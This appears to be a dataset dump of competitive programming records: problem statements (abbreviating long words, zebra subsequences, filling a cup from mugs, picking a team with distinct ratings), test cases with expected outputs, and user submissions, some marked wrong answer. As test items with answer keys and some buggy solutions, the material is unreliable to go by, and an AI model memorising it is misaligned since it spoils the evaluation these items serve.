bananas.
```python m ,b = [int(p) for p in input().split()] out = 0 for g in range(b*m): h = b - (g/m) h = int(h) cc = 0 w = 0 for i in range(g+1): for l in range(h+1): w = i+l cc += w if cc > out: out = cc print(out) ```
0
71
A
Way Too Long Words
PROGRAMMING
800
[ "strings" ]
A. Way Too Long Words
1
256
Sometimes some words like "localization" or "internationalization" are so long that writing them many times in one text is quite tiresome. Let's consider a word too long, if its length is strictly more than 10 characters. All too long words should be replaced with a special abbreviation. This abbreviation is made like this: we write down the first and the last letter of a word and between them we write the number of letters between the first and the last letters. That number is in decimal system and doesn't contain any leading zeroes. Thus, "localization" will be spelt as "l10n", and "internationalization» will be spelt as "i18n". You are suggested to automatize the process of changing the words with abbreviations. At that all too long words should be replaced by the abbreviation and the words that are not too long should not undergo any changes.
The first line contains an integer *n* (1<=≤<=*n*<=≤<=100). Each of the following *n* lines contains one word. All the words consist of lowercase Latin letters and possess the lengths of from 1 to 100 characters.
Print *n* lines. The *i*-th line should contain the result of replacing of the *i*-th word from the input data.
[ "4\nword\nlocalization\ninternationalization\npneumonoultramicroscopicsilicovolcanoconiosis\n" ]
[ "word\nl10n\ni18n\np43s\n" ]
none
500
[ { "input": "4\nword\nlocalization\ninternationalization\npneumonoultramicroscopicsilicovolcanoconiosis", "output": "word\nl10n\ni18n\np43s" }, { "input": "5\nabcdefgh\nabcdefghi\nabcdefghij\nabcdefghijk\nabcdefghijklm", "output": "abcdefgh\nabcdefghi\nabcdefghij\na9k\na11m" }, { "input": "3\nnjfngnrurunrgunrunvurn\njfvnjfdnvjdbfvsbdubruvbubvkdb\nksdnvidnviudbvibd", "output": "n20n\nj27b\nk15d" }, { "input": "1\ntcyctkktcctrcyvbyiuhihhhgyvyvyvyvjvytchjckt", "output": "t41t" }, { "input": "24\nyou\nare\nregistered\nfor\npractice\nyou\ncan\nsolve\nproblems\nunofficially\nresults\ncan\nbe\nfound\nin\nthe\ncontest\nstatus\nand\nin\nthe\nbottom\nof\nstandings", "output": "you\nare\nregistered\nfor\npractice\nyou\ncan\nsolve\nproblems\nu10y\nresults\ncan\nbe\nfound\nin\nthe\ncontest\nstatus\nand\nin\nthe\nbottom\nof\nstandings" }, { "input": "1\na", "output": "a" }, { "input": "26\na\nb\nc\nd\ne\nf\ng\nh\ni\nj\nk\nl\nm\nn\no\np\nq\nr\ns\nt\nu\nv\nw\nx\ny\nz", "output": "a\nb\nc\nd\ne\nf\ng\nh\ni\nj\nk\nl\nm\nn\no\np\nq\nr\ns\nt\nu\nv\nw\nx\ny\nz" }, { "input": "1\nabcdefghijabcdefghijabcdefghijabcdefghijabcdefghijabcdefghijabcdefghijabcdefghijabcdefghijabcdefghij", "output": "a98j" }, { "input": "10\ngyartjdxxlcl\nfzsck\nuidwu\nxbymclornemdmtj\nilppyoapitawgje\ncibzc\ndrgbeu\nhezplmsdekhhbo\nfeuzlrimbqbytdu\nkgdco", "output": "g10l\nfzsck\nuidwu\nx13j\ni13e\ncibzc\ndrgbeu\nh12o\nf13u\nkgdco" }, { "input": "20\nlkpmx\nkovxmxorlgwaomlswjxlpnbvltfv\nhykasjxqyjrmybejnmeumzha\ntuevlumpqbbhbww\nqgqsphvrmupxxc\ntrissbaf\nqfgrlinkzvzqdryckaizutd\nzzqtoaxkvwoscyx\noswytrlnhpjvvnwookx\nlpuzqgec\ngyzqfwxggtvpjhzmzmdw\nrlxjgmvdftvrmvbdwudra\nvsntnjpepnvdaxiporggmglhagv\nxlvcqkqgcrbgtgglj\nlyxwxbiszyhlsrgzeedzprbmcpduvq\nyrmqqvrkqskqukzqrwukpsifgtdc\nxpuohcsjhhuhvr\nvvlfrlxpvqejngwrbfbpmqeirxlw\nsvmasocxdvadmaxtrpakysmeaympy\nyuflqboqfdt", "output": "lkpmx\nk26v\nh22a\nt13w\nq12c\ntrissbaf\nq21d\nz13x\no17x\nlpuzqgec\ng18w\nr19a\nv25v\nx15j\nl28q\ny26c\nx12r\nv26w\ns27y\ny9t" }, { "input": "100\nm\nz\ns\nv\nd\nr\nv\ny\ny\ne\np\nt\nc\na\nn\nm\np\ng\ni\nj\nc\na\nb\nq\ne\nn\nv\no\nk\nx\nf\ni\nl\na\nq\nr\nu\nb\ns\nl\nc\nl\ne\nv\nj\nm\nx\nb\na\nq\nb\na\nf\nj\nv\nm\nq\nc\nt\nt\nn\nx\no\ny\nr\nu\nh\nm\nj\np\nj\nq\nz\ns\nj\no\ng\nc\nm\nn\no\nm\nr\no\ns\nt\nh\nr\np\nk\nb\nz\ng\no\nc\nc\nz\nz\ng\nr", "output": "m\nz\ns\nv\nd\nr\nv\ny\ny\ne\np\nt\nc\na\nn\nm\np\ng\ni\nj\nc\na\nb\nq\ne\nn\nv\no\nk\nx\nf\ni\nl\na\nq\nr\nu\nb\ns\nl\nc\nl\ne\nv\nj\nm\nx\nb\na\nq\nb\na\nf\nj\nv\nm\nq\nc\nt\nt\nn\nx\no\ny\nr\nu\nh\nm\nj\np\nj\nq\nz\ns\nj\no\ng\nc\nm\nn\no\nm\nr\no\ns\nt\nh\nr\np\nk\nb\nz\ng\no\nc\nc\nz\nz\ng\nr" } ]
1,668,708,884
2,147,483,647
Python 3
OK
TESTS
20
46
0
import sys n=input() for line in sys.stdin: for n in line.split(): if len(n) > 10: print(n[0] + str(len(n)-2) + n[-1]) else: print(n)
Title: Way Too Long Words Time Limit: 1 seconds Memory Limit: 256 megabytes Problem Description: Sometimes some words like "localization" or "internationalization" are so long that writing them many times in one text is quite tiresome. Let's consider a word too long, if its length is strictly more than 10 characters. All too long words should be replaced with a special abbreviation. This abbreviation is made like this: we write down the first and the last letter of a word and between them we write the number of letters between the first and the last letters. That number is in decimal system and doesn't contain any leading zeroes. Thus, "localization" will be spelt as "l10n", and "internationalization» will be spelt as "i18n". You are suggested to automatize the process of changing the words with abbreviations. At that all too long words should be replaced by the abbreviation and the words that are not too long should not undergo any changes. Input Specification: The first line contains an integer *n* (1<=≤<=*n*<=≤<=100). Each of the following *n* lines contains one word. All the words consist of lowercase Latin letters and possess the lengths of from 1 to 100 characters. Output Specification: Print *n* lines. The *i*-th line should contain the result of replacing of the *i*-th word from the input data. Demo Input: ['4\nword\nlocalization\ninternationalization\npneumonoultramicroscopicsilicovolcanoconiosis\n'] Demo Output: ['word\nl10n\ni18n\np43s\n'] Note: none
```python import sys n=input() for line in sys.stdin: for n in line.split(): if len(n) > 10: print(n[0] + str(len(n)-2) + n[-1]) else: print(n) ```
3.977
0
none
none
none
0
[ "none" ]
null
null
Oleg writes down the history of the days he lived. For each day he decides if it was good or bad. Oleg calls a non-empty sequence of days a zebra, if it starts with a bad day, ends with a bad day, and good and bad days are alternating in it. Let us denote bad days as 0 and good days as 1. Then, for example, sequences of days 0, 010, 01010 are zebras, while sequences 1, 0110, 0101 are not. Oleg tells you the story of days he lived in chronological order in form of string consisting of 0 and 1. Now you are interested if it is possible to divide Oleg's life history into several subsequences, each of which is a zebra, and the way it can be done. Each day must belong to exactly one of the subsequences. For each of the subsequences, days forming it must be ordered chronologically. Note that subsequence does not have to be a group of consecutive days.
In the only line of input data there is a non-empty string *s* consisting of characters 0 and 1, which describes the history of Oleg's life. Its length (denoted as |*s*|) does not exceed 200<=000 characters.
If there is a way to divide history into zebra subsequences, in the first line of output you should print an integer *k* (1<=≤<=*k*<=≤<=|*s*|), the resulting number of subsequences. In the *i*-th of following *k* lines first print the integer *l**i* (1<=≤<=*l**i*<=≤<=|*s*|), which is the length of the *i*-th subsequence, and then *l**i* indices of days forming the subsequence. Indices must follow in ascending order. Days are numbered starting from 1. Each index from 1 to *n* must belong to exactly one subsequence. If there is no way to divide day history into zebra subsequences, print -1. Subsequences may be printed in any order. If there are several solutions, you may print any of them. You do not have to minimize nor maximize the value of *k*.
[ "0010100\n", "111\n" ]
[ "3\n3 1 3 4\n3 2 5 6\n1 7\n", "-1\n" ]
none
0
[ { "input": "0010100", "output": "3\n1 1\n5 2 3 4 5 6\n1 7" }, { "input": "111", "output": "-1" }, { "input": "0", "output": "1\n1 1" }, { "input": "1", "output": "-1" }, { "input": "0101010101", "output": "-1" }, { "input": "010100001", "output": "-1" }, { "input": "000111000", "output": "3\n3 1 6 7\n3 2 5 8\n3 3 4 9" }, { "input": "0101001000", "output": "4\n5 1 2 3 4 5\n3 6 7 8\n1 9\n1 10" }, { "input": "0000001000", "output": "8\n1 1\n1 2\n1 3\n1 4\n1 5\n3 6 7 8\n1 9\n1 10" }, { "input": "0101", "output": "-1" }, { "input": "000101110", "output": "-1" }, { "input": "010101010", "output": "1\n9 1 2 3 4 5 6 7 8 9" }, { "input": "0101001010", "output": "2\n5 1 2 3 4 5\n5 6 7 8 9 10" }, { "input": "0100101100", "output": "2\n5 1 2 3 8 9\n5 4 5 6 7 10" }, { "input": "0110100000", "output": "-1" }, { "input": "0000000000", "output": "10\n1 1\n1 2\n1 3\n1 4\n1 5\n1 6\n1 7\n1 8\n1 9\n1 10" }, { "input": "1111111111", "output": "-1" }, { "input": "0010101100", "output": "2\n3 1 8 9\n7 2 3 4 5 6 7 10" }, { "input": "1010000", "output": "-1" }, { "input": "0001110", "output": "-1" }, { "input": "0000000000011001100011110101000101000010010111000100110110000011010011110110001100100001001001010010", "output": "22\n1 1\n1 2\n1 3\n1 4\n1 5\n1 6\n1 7\n1 8\n7 9 24 25 26 27 28 29\n7 10 13 14 17 18 23 30\n11 11 12 15 16 19 22 31 32 33 34 35\n3 20 21 36\n3 37 46 47\n9 38 39 40 45 48 57 58 75 76\n17 41 42 43 44 49 50 51 54 55 56 59 72 73 74 77 80 81\n9 52 53 60 71 78 79 82 83 84\n7 61 64 65 66 67 70 85\n5 62 63 68 69 86\n3 87 88 89\n3 90 91 92\n5 93 94 95 96 97\n3 98 99 100" }, { "input": "01010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010", "output": "1\n245 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 ..." }, { "input": "0010011100000000", "output": "8\n3 1 8 9\n5 2 3 4 7 10\n3 5 6 11\n1 12\n1 13\n1 14\n1 15\n1 16" } ]
1,520,931,992
2,147,483,647
Python 3
WRONG_ANSWER
TESTS
0
62
5,632,000
import math from sys import stdin string=stdin.readline().strip() ipd=[int(x) for x in string] ipdc=ipd #print(ipd) if ipd[0]==1 or ipd[-1]==1: print('-1') output=[] def fzebra(array): factor=0 number=0 alst=[] bul=False for i in range(len(array)): if array[i]==factor: number+=1 alst.append(i+1) ipd[i]='c' bul=True if factor==0: factor=1 elif factor==1: factor=0 if bul==True: if ipdc[alst[-1]-1]==1: ipd[alst[-1]-1]=1 del alst[-1] number-=1 alst.insert(0,number) output.append(alst) fzebra(array) fzebra(ipd) for row in output: for item in row: print(item,' ',end='') print('')
Title: none Time Limit: None seconds Memory Limit: None megabytes Problem Description: Oleg writes down the history of the days he lived. For each day he decides if it was good or bad. Oleg calls a non-empty sequence of days a zebra, if it starts with a bad day, ends with a bad day, and good and bad days are alternating in it. Let us denote bad days as 0 and good days as 1. Then, for example, sequences of days 0, 010, 01010 are zebras, while sequences 1, 0110, 0101 are not. Oleg tells you the story of days he lived in chronological order in form of string consisting of 0 and 1. Now you are interested if it is possible to divide Oleg's life history into several subsequences, each of which is a zebra, and the way it can be done. Each day must belong to exactly one of the subsequences. For each of the subsequences, days forming it must be ordered chronologically. Note that subsequence does not have to be a group of consecutive days. Input Specification: In the only line of input data there is a non-empty string *s* consisting of characters 0 and 1, which describes the history of Oleg's life. Its length (denoted as |*s*|) does not exceed 200<=000 characters. Output Specification: If there is a way to divide history into zebra subsequences, in the first line of output you should print an integer *k* (1<=≤<=*k*<=≤<=|*s*|), the resulting number of subsequences. In the *i*-th of following *k* lines first print the integer *l**i* (1<=≤<=*l**i*<=≤<=|*s*|), which is the length of the *i*-th subsequence, and then *l**i* indices of days forming the subsequence. Indices must follow in ascending order. Days are numbered starting from 1. Each index from 1 to *n* must belong to exactly one subsequence. If there is no way to divide day history into zebra subsequences, print -1. Subsequences may be printed in any order. If there are several solutions, you may print any of them. You do not have to minimize nor maximize the value of *k*. Demo Input: ['0010100\n', '111\n'] Demo Output: ['3\n3 1 3 4\n3 2 5 6\n1 7\n', '-1\n'] Note: none
```python import math from sys import stdin string=stdin.readline().strip() ipd=[int(x) for x in string] ipdc=ipd #print(ipd) if ipd[0]==1 or ipd[-1]==1: print('-1') output=[] def fzebra(array): factor=0 number=0 alst=[] bul=False for i in range(len(array)): if array[i]==factor: number+=1 alst.append(i+1) ipd[i]='c' bul=True if factor==0: factor=1 elif factor==1: factor=0 if bul==True: if ipdc[alst[-1]-1]==1: ipd[alst[-1]-1]=1 del alst[-1] number-=1 alst.insert(0,number) output.append(alst) fzebra(array) fzebra(ipd) for row in output: for item in row: print(item,' ',end='') print('') ```
0
426
A
Sereja and Mugs
PROGRAMMING
800
[ "implementation" ]
null
null
Sereja showed an interesting game to his friends. The game goes like that. Initially, there is a table with an empty cup and *n* water mugs on it. Then all players take turns to move. During a move, a player takes a non-empty mug of water and pours all water from it into the cup. If the cup overfills, then we assume that this player lost. As soon as Sereja's friends heard of the game, they wanted to play it. Sereja, on the other hand, wanted to find out whether his friends can play the game in such a way that there are no losers. You are given the volumes of all mugs and the cup. Also, you know that Sereja has (*n*<=-<=1) friends. Determine if Sereja's friends can play the game so that nobody loses.
The first line contains integers *n* and *s* (2<=≤<=*n*<=≤<=100; 1<=≤<=*s*<=≤<=1000) — the number of mugs and the volume of the cup. The next line contains *n* integers *a*1, *a*2, ..., *a**n* (1<=≤<=*a**i*<=≤<=10). Number *a**i* means the volume of the *i*-th mug.
In a single line, print "YES" (without the quotes) if his friends can play in the described manner, and "NO" (without the quotes) otherwise.
[ "3 4\n1 1 1\n", "3 4\n3 1 3\n", "3 4\n4 4 4\n" ]
[ "YES\n", "YES\n", "NO\n" ]
none
500
[ { "input": "3 4\n1 1 1", "output": "YES" }, { "input": "3 4\n3 1 3", "output": "YES" }, { "input": "3 4\n4 4 4", "output": "NO" }, { "input": "2 1\n1 10", "output": "YES" }, { "input": "3 12\n5 6 6", "output": "YES" }, { "input": "4 10\n6 3 8 7", "output": "NO" }, { "input": "5 16\n3 3 2 7 9", "output": "YES" }, { "input": "6 38\n9 10 3 8 10 6", "output": "YES" }, { "input": "7 12\n4 4 5 2 2 4 9", "output": "NO" }, { "input": "8 15\n8 10 4 2 10 9 7 6", "output": "NO" }, { "input": "9 22\n1 3 5 9 7 6 1 10 1", "output": "NO" }, { "input": "10 30\n9 10 4 5 5 7 1 7 7 2", "output": "NO" }, { "input": "38 83\n9 9 3 10 2 4 6 10 9 5 1 8 7 4 7 2 6 5 3 1 10 8 4 8 3 7 1 2 7 6 8 6 5 2 3 1 1 2", "output": "NO" }, { "input": "84 212\n6 2 3 1 2 7 5 1 7 2 9 10 9 5 2 5 4 10 9 9 1 9 8 8 9 4 9 4 8 2 1 8 4 5 10 7 6 2 1 10 10 7 9 4 5 9 5 10 10 3 6 6 4 4 4 8 5 4 9 1 9 9 1 7 9 2 10 9 10 8 3 3 9 3 9 10 1 8 9 2 6 9 7 2", "output": "NO" }, { "input": "8 50\n8 8 8 4 4 6 10 10", "output": "YES" }, { "input": "7 24\n1 4 9 1 2 3 6", "output": "YES" }, { "input": "47 262\n3 7 6 4 10 3 5 7 2 9 3 2 2 10 8 7 3 10 6 3 1 1 4 10 2 9 2 10 6 4 3 6 3 6 9 7 8 8 3 3 10 5 2 10 7 10 9", "output": "YES" }, { "input": "42 227\n3 6 1 9 4 10 4 10 7 8 10 10 8 7 10 4 6 8 7 7 6 9 3 6 5 5 2 7 2 7 4 4 6 6 4 3 9 3 6 4 7 2", "output": "NO" }, { "input": "97 65\n3 10 2 6 1 4 7 5 10 3 10 4 5 5 1 6 10 7 4 5 3 9 9 8 6 9 2 3 6 8 5 5 5 5 5 3 10 4 1 8 8 9 8 4 1 4 9 3 6 3 1 4 8 3 10 8 6 4 5 4 3 2 2 4 3 6 4 6 2 3 3 3 7 5 1 8 1 4 5 1 1 6 4 2 1 7 8 6 1 1 5 6 5 10 6 7 5", "output": "NO" }, { "input": "94 279\n2 5 9 5 10 3 1 8 1 7 1 8 1 6 7 8 4 9 5 10 3 7 6 8 8 5 6 8 10 9 4 1 3 3 4 7 8 2 6 6 5 1 3 7 1 7 2 2 2 8 4 1 1 5 9 4 1 2 3 10 1 4 9 9 6 8 8 1 9 10 4 1 8 5 8 9 4 8 2 1 1 9 4 5 6 1 2 5 6 7 3 1 4 6", "output": "NO" }, { "input": "58 70\n8 2 10 2 7 3 8 3 8 7 6 2 4 10 10 6 10 3 7 6 4 3 5 5 5 3 8 10 3 4 8 4 2 6 8 9 6 9 4 3 5 2 2 6 10 6 2 1 7 5 6 4 1 9 10 2 4 5", "output": "NO" }, { "input": "6 14\n3 9 2 1 4 2", "output": "YES" }, { "input": "78 400\n5 9 3 4 7 4 1 4 6 3 9 1 8 3 3 6 10 2 1 9 6 1 8 10 1 6 4 5 2 1 5 9 6 10 3 6 5 2 4 10 6 9 3 8 10 7 2 8 8 2 10 1 4 5 2 8 6 4 4 3 5 2 3 10 1 9 8 5 6 7 9 1 8 8 5 4 2 4", "output": "YES" }, { "input": "41 181\n5 3 10 4 2 5 9 3 1 6 6 10 4 3 9 8 5 9 2 5 4 6 6 3 7 9 10 3 10 6 10 5 6 1 6 9 9 1 2 4 3", "output": "NO" }, { "input": "2 4\n4 4", "output": "YES" }, { "input": "29 71\n4 8 9 4 8 10 4 10 2 9 3 9 1 2 9 5 9 7 1 10 4 1 1 9 8 7 4 6 7", "output": "NO" }, { "input": "49 272\n4 10 8 7 5 6 9 7 2 6 6 2 10 7 5 6 5 3 6 4 3 7 9 3 7 7 4 10 5 6 7 3 6 4 6 7 7 2 5 5 7 3 7 9 3 6 6 2 1", "output": "YES" }, { "input": "91 486\n1 3 5 4 4 7 3 9 3 4 5 4 5 4 7 9 5 8 4 10 9 1 1 9 9 1 6 2 5 4 7 4 10 3 2 10 9 3 4 5 1 3 4 2 10 9 10 9 10 2 4 6 2 5 3 6 4 9 10 3 9 8 1 2 5 9 2 10 4 6 10 8 10 9 1 2 5 8 6 6 6 1 10 3 9 3 5 6 1 5 5", "output": "YES" }, { "input": "80 78\n1 9 4 9 8 3 7 10 4 9 2 1 4 4 9 5 9 1 2 6 5 2 4 8 4 6 9 6 7 10 1 9 10 4 7 1 7 10 8 9 10 5 2 6 7 7 7 7 7 8 2 5 1 7 2 3 2 5 10 6 3 4 5 2 6 3 4 2 7 9 9 3 8 8 2 3 7 1 5 10", "output": "NO" }, { "input": "53 245\n5 6 9 9 2 3 2 5 10 9 3 5 6 3 10 10 9 4 9 7 10 9 7 7 3 4 9 3 7 3 8 6 8 9 3 8 9 1 3 1 9 10 3 9 3 1 6 6 3 8 7 8 9", "output": "NO" }, { "input": "50 271\n6 9 10 1 1 1 8 3 6 6 3 2 5 9 7 5 7 9 10 9 4 6 6 2 6 6 9 5 1 6 5 8 3 2 5 10 10 1 4 1 4 6 1 8 7 8 9 4 7 5", "output": "YES" }, { "input": "38 214\n5 8 4 5 1 9 9 2 6 3 4 3 5 7 7 7 3 10 1 5 10 4 2 2 10 10 6 6 6 7 1 6 10 5 7 4 5 10", "output": "YES" }, { "input": "100 1\n10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10", "output": "NO" }, { "input": "100 100\n10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10", "output": "NO" }, { "input": "100 989\n10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10", "output": "NO" }, { "input": "100 990\n10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10", "output": "YES" }, { "input": "100 1000\n10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10", "output": "YES" }, { "input": "2 1\n1 1", "output": "YES" }, { "input": "2 1\n2 2", "output": "NO" }, { "input": "2 1000\n1 1", "output": "YES" }, { "input": "10 89\n10 10 10 10 10 10 10 10 10 10", "output": "NO" }, { "input": "10 44\n1 10 2 3 4 5 6 7 8 9", "output": "NO" } ]
1,616,656,268
2,147,483,647
Python 3
OK
TESTS
42
62
0
# https://codeforces.com/contest/426/problem/A n, s = list(map(int, input().split())) mugs = list(map(int, input().split())) mx = -1 sum = 0 for m in mugs: mx = max(m, mx) sum += m if sum - mx > s: print("NO") else: print("YES")
Title: Sereja and Mugs Time Limit: None seconds Memory Limit: None megabytes Problem Description: Sereja showed an interesting game to his friends. The game goes like that. Initially, there is a table with an empty cup and *n* water mugs on it. Then all players take turns to move. During a move, a player takes a non-empty mug of water and pours all water from it into the cup. If the cup overfills, then we assume that this player lost. As soon as Sereja's friends heard of the game, they wanted to play it. Sereja, on the other hand, wanted to find out whether his friends can play the game in such a way that there are no losers. You are given the volumes of all mugs and the cup. Also, you know that Sereja has (*n*<=-<=1) friends. Determine if Sereja's friends can play the game so that nobody loses. Input Specification: The first line contains integers *n* and *s* (2<=≤<=*n*<=≤<=100; 1<=≤<=*s*<=≤<=1000) — the number of mugs and the volume of the cup. The next line contains *n* integers *a*1, *a*2, ..., *a**n* (1<=≤<=*a**i*<=≤<=10). Number *a**i* means the volume of the *i*-th mug. Output Specification: In a single line, print "YES" (without the quotes) if his friends can play in the described manner, and "NO" (without the quotes) otherwise. Demo Input: ['3 4\n1 1 1\n', '3 4\n3 1 3\n', '3 4\n4 4 4\n'] Demo Output: ['YES\n', 'YES\n', 'NO\n'] Note: none
```python # https://codeforces.com/contest/426/problem/A n, s = list(map(int, input().split())) mugs = list(map(int, input().split())) mx = -1 sum = 0 for m in mugs: mx = max(m, mx) sum += m if sum - mx > s: print("NO") else: print("YES") ```
3
988
A
Diverse Team
PROGRAMMING
800
[ "brute force", "implementation" ]
null
null
There are $n$ students in a school class, the rating of the $i$-th student on Codehorses is $a_i$. You have to form a team consisting of $k$ students ($1 \le k \le n$) such that the ratings of all team members are distinct. If it is impossible to form a suitable team, print "NO" (without quotes). Otherwise print "YES", and then print $k$ distinct numbers which should be the indices of students in the team you form. If there are multiple answers, print any of them.
The first line contains two integers $n$ and $k$ ($1 \le k \le n \le 100$) — the number of students and the size of the team you have to form. The second line contains $n$ integers $a_1, a_2, \dots, a_n$ ($1 \le a_i \le 100$), where $a_i$ is the rating of $i$-th student.
If it is impossible to form a suitable team, print "NO" (without quotes). Otherwise print "YES", and then print $k$ distinct integers from $1$ to $n$ which should be the indices of students in the team you form. All the ratings of the students in the team should be distinct. You may print the indices in any order. If there are multiple answers, print any of them. Assume that the students are numbered from $1$ to $n$.
[ "5 3\n15 13 15 15 12\n", "5 4\n15 13 15 15 12\n", "4 4\n20 10 40 30\n" ]
[ "YES\n1 2 5 \n", "NO\n", "YES\n1 2 3 4 \n" ]
All possible answers for the first example: - {1 2 5} - {2 3 5} - {2 4 5} Note that the order does not matter.
0
[ { "input": "5 3\n15 13 15 15 12", "output": "YES\n1 2 5 " }, { "input": "5 4\n15 13 15 15 12", "output": "NO" }, { "input": "4 4\n20 10 40 30", "output": "YES\n1 2 3 4 " }, { "input": "1 1\n1", "output": "YES\n1 " }, { "input": "100 53\n16 17 1 2 27 5 9 9 53 24 17 33 35 24 20 48 56 73 12 14 39 55 58 13 59 73 29 26 40 33 22 29 34 22 55 38 63 66 36 13 60 42 10 15 21 9 11 5 23 37 79 47 26 3 79 53 44 8 71 75 42 11 34 39 79 33 10 26 23 23 17 14 54 41 60 31 83 5 45 4 14 35 6 60 28 48 23 18 60 36 21 28 7 34 9 25 52 43 54 19", "output": "YES\n1 2 3 4 5 6 7 9 10 12 13 15 16 17 18 19 20 21 22 23 24 25 27 28 29 31 33 36 37 38 39 41 42 43 44 45 47 49 50 51 52 54 57 58 59 60 73 74 76 77 79 80 83 " }, { "input": "2 2\n100 100", "output": "NO" }, { "input": "2 2\n100 99", "output": "YES\n1 2 " }, { "input": "100 100\n63 100 75 32 53 24 73 98 76 15 70 48 8 81 88 58 95 78 27 92 14 16 72 43 46 39 66 38 64 42 59 9 22 51 4 6 10 94 28 99 68 80 35 50 45 20 47 7 30 26 49 91 77 19 96 57 65 1 11 13 31 12 82 87 93 34 62 3 21 79 56 41 89 18 44 23 74 86 2 33 69 36 61 67 25 83 5 84 90 37 40 29 97 60 52 55 54 71 17 85", "output": "YES\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 " }, { "input": "100 41\n54 16 42 3 45 6 9 72 100 13 24 57 35 5 89 13 97 27 43 9 73 89 48 16 48 55 18 15 55 28 30 6 18 41 100 61 9 42 35 54 57 25 73 15 42 54 49 5 72 48 30 55 4 43 94 5 60 92 93 23 89 75 53 92 74 93 89 28 69 6 3 49 15 28 49 57 54 55 30 57 69 18 89 6 25 23 93 74 30 13 87 53 6 42 4 54 60 30 4 35", "output": "NO" }, { "input": "100 2\n70 64 70 32 70 64 32 70 64 32 32 64 70 64 64 32 64 64 64 70 70 64 64 64 64 70 32 64 70 64 32 70 70 70 64 70 64 70 64 32 70 32 70 64 64 64 32 70 64 70 70 32 70 32 32 32 70 32 70 32 64 64 70 32 32 64 70 64 32 32 64 64 32 32 70 70 32 70 32 64 32 70 64 64 32 64 32 64 70 32 70 32 70 64 64 64 70 70 64 70", "output": "YES\n1 2 " } ]
1,660,321,362
2,147,483,647
PyPy 3
WRONG_ANSWER
TESTS
4
77
0
x=input() n=int(x[0]) k=int(x[2]) s=input() l=list(map(int,s.split())) x=[] pos=[] for i in range(0,n): if(l[i] not in x): x.append(l[i]) pos.append(i+1) if(len(pos)>=k): print("YES") for i in range(0,k): print(pos[i],end=" ") else: print("NO")
Title: Diverse Team Time Limit: None seconds Memory Limit: None megabytes Problem Description: There are $n$ students in a school class, the rating of the $i$-th student on Codehorses is $a_i$. You have to form a team consisting of $k$ students ($1 \le k \le n$) such that the ratings of all team members are distinct. If it is impossible to form a suitable team, print "NO" (without quotes). Otherwise print "YES", and then print $k$ distinct numbers which should be the indices of students in the team you form. If there are multiple answers, print any of them. Input Specification: The first line contains two integers $n$ and $k$ ($1 \le k \le n \le 100$) — the number of students and the size of the team you have to form. The second line contains $n$ integers $a_1, a_2, \dots, a_n$ ($1 \le a_i \le 100$), where $a_i$ is the rating of $i$-th student. Output Specification: If it is impossible to form a suitable team, print "NO" (without quotes). Otherwise print "YES", and then print $k$ distinct integers from $1$ to $n$ which should be the indices of students in the team you form. All the ratings of the students in the team should be distinct. You may print the indices in any order. If there are multiple answers, print any of them. Assume that the students are numbered from $1$ to $n$. Demo Input: ['5 3\n15 13 15 15 12\n', '5 4\n15 13 15 15 12\n', '4 4\n20 10 40 30\n'] Demo Output: ['YES\n1 2 5 \n', 'NO\n', 'YES\n1 2 3 4 \n'] Note: All possible answers for the first example: - {1 2 5} - {2 3 5} - {2 4 5} Note that the order does not matter.
```python x=input() n=int(x[0]) k=int(x[2]) s=input() l=list(map(int,s.split())) x=[] pos=[] for i in range(0,n): if(l[i] not in x): x.append(l[i]) pos.append(i+1) if(len(pos)>=k): print("YES") for i in range(0,k): print(pos[i],end=" ") else: print("NO") ```
0
987
B
High School: Become Human
PROGRAMMING
1,100
[ "math" ]
null
null
